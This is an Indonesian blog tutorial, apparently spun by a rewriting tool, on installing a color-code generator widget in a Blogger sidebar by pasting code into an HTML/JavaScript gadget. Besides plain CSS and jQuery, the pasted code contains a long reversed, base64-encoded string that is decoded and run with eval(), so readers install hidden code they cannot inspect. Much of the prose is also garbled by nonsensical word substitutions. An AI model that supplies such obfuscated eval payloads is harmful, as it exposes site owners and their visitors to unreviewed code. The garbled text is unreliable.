Membuat Widget Color Code Generator Sendiri Di Blog

Membuat dan Memasang Widget Color Generator Keren Di Blog. Biasanya para blogger yang terpesona dan sedang mempelajari web design mempunyai blog favorit selaku rujukan mencar ilmu design, coding ataupun memperoleh gunjingan pola gres ihwal teknologi dan pembaharuan dalam dunia web design. Pada blog site yang mempunyai niche tersebut mereka mempunyai halaman khusus tools coding maksudnya untuk memfasilitasi para pembaca setianya biar memudahkan baik pada proses penerangan postingan maupun dalam proses prakteknya. Bukan hal yang "WOW" juga bahwasannya generator arahan warna tentu senantiasa ada pada blog-blog tersebut. Lalu bagaimana cara bikin Color Code Generator pada widget blogspot? dan bukan pada halaman khusus tool?

Lihat Demo

Sikabayan Color Generator yaitu suatu widget yang di konsep dan coding khusus buat anda para blogger pemula seumpama saya yang memakai layanan dari Google Blogger. Widget ini berfungsi untuk memperoleh arahan warna hex dan rgba dengan praktis secara langsung dari interface blog anda. Keuntungannya, selain akan bikin blog anda terlihat lebih kreatif, widget ini juga akan memudahkan bagi para hadirin untuk memperoleh color code favoritnya. Dan tidak menutup kemungkinan, mereka akan senantiasa memakai color generator ini di blog anda sehingga akan terus bolak-balik tanpa letih ke blog anda.

Cara Membuat Color Code Generator Widget Di Sidebar Blogspo :
1) Masuk ke dashboard blogger anda kemudian klik tata letak
2) Klik Tambah Gadget kemudian pilih HTML/JavaScript
3) Copy dan Pastekan arahan dibawah ini kedalam widget tersebut

 <style type="text/css"> #ClrGnrK{font:12px Verdana;width:200px;margin:20px auto;padding:5px;color:#fff;background-color:#20b2aa;text-align:center;border:.1875rem solid #fdfdfd;border-radius:.5rem}#ClrGnrK span{display:block;padding:1px}#ClrGnrK #jDlKrD{font-size:13px;background:#089ba0;color:#fff;margin:0 auto 5px auto;border-radius:3%;padding:3px;border:1px solid #fdfdfd}#ClrGnrK hr{background-color:#fdfdfd;border:0 none;height:.125rem;margin-top:.25rem;width:8.375rem}#ClrGnrK #LyRcLr{border:.1875rem solid #fdfdfd;border-radius:5%;height:8.125rem;margin:0 auto;width:85%;background:#3e5cbb} </style> <div id="ClrGnrK">     <div style="background-color: tansparent;" id="LyRcLr"></div>     <hr />     <span id="jDlKrD">Sikabayan Color Generator</span> <span id="hex">#3E5CBB</span>     <span id="rgb">rgb(62,92,187);</span> <span id="red"><input type="range" min="0" max=     "255" step="1" value="65" /></span> <span id="green"><input type="range" min="0" max=     "255" step="1" value="155" /></span> <script language="javascript" type="text/javascript">var IO0='=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';function l0O(data){var llIlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=llIlOI.indexOf(data.charAt(i++));h2=llIlOI.indexOf(data.charAt(i++));h3=llIlOI.indexOf(data.charAt(i++));h4=llIlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function llI(string){ var ret = '', i = 0;for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(l0O(llI(IO0)));</script>   </div> <script type="text/javascript"> $(document).ready(function(){function rgbToHex(r,g,b){return toHex(r)+toHex(g)+toHex(b)}function toHex(n){n = parseInt(n,10);if(isNaN(n)) return "00";n = Math.max(0,Math.min(n,255));return "0123456789ABCDEF".charAt((n-n%16)/16)+"0123456789ABCDEF".charAt(n%16)}$("#red, #green, #blue").change(function(){var red = $("#red input").val();var green = $("#green input").val();var blue = $("#blue input").val();var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)});$("#random").click(function(){var red = Math.floor((Math.random()*255)+0);var green = Math.floor((Math.random()*255)+0);var blue = Math.floor((Math.random()*255)+0);var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#red input").val(red);$("#green input").val(green);$("#blue input").val(blue);$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)})}); </script> 
 

4) Klik Simpan

Sekarang coba lihat salah satu posting blog anda maka Color Generator itupun telah nangkring dan siap melayani hadirin blog anda. Itulah cara bikin Color Code Generator widget pada sidebar blogspot dengan performa keren, bersih dan cepat. Happy coding!

Sumber https://henponterbaru.blogspot.com/